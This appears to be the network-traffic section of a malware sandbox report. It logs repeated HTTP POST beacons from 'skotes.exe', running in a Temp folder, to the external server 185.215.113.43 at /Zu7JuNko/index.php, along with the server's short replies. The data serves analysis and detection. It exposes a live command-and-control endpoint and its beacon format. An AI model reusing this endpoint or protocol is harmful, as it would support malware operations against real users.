Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49870	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:38.520030022 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:39.431889057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49871	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:41.068943024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:41.978157997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49872	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:43.503603935 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:44.419028044 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49873	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:46.050307035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:46.955260992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49874	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:48.472265959 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:49.376019955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49875	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:51.004559994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:23:51.913829088 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49876	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:53.440738916 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:54.352685928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49877	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:55.989561081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49878	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:23:57.523175955 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:23:58.469410896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49879	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:00.097928047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:01.028469086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49880	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:02.552850008 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:03.461811066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49881	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:05.097165108 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:06.000516891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49882	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:07.522294998 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:08.448270082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49883	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:10.082206964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:10.990326881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49884	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:12.504194975 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:13.441118956 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49885	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:15.090967894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:15.986526966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49886	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:17.712928057 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:18.655587912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49887	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:20.288346052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:21.192365885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49888	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:22.708405972 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:23.605958939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49889	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:25.242172003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:26.157846928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49890	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:27.675549984 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:28.578315020 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49891	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:30.208158016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:24:31.110050917 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49892	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:32.628586054 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:24:33.565383911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49893	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:24:35.207221031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
